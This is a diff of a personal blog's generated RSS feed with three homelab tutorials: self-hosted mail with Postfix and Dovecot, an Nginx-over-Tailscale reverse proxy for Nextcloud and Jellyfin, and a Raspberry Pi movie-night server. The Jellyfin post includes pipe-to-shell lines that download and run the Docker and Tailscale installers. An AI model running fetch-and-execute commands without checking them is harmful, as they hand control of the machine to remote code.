    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/homelab/page/1/index.html b/public-clearnet/tags/homelab/page/1/index.html new file mode 100644 index 0000000..81a35bb --- /dev/null +++ b/public-clearnet/tags/homelab/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/homelab/ + \ No newline at end of file diff --git a/public-clearnet/tags/hostapd/index.html b/public-clearnet/tags/hostapd/index.html new file mode 100644 index 0000000..b769b9e --- /dev/null +++ b/public-clearnet/tags/hostapd/index.html @@ -0,0 +1,12 @@ +Hostapd | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

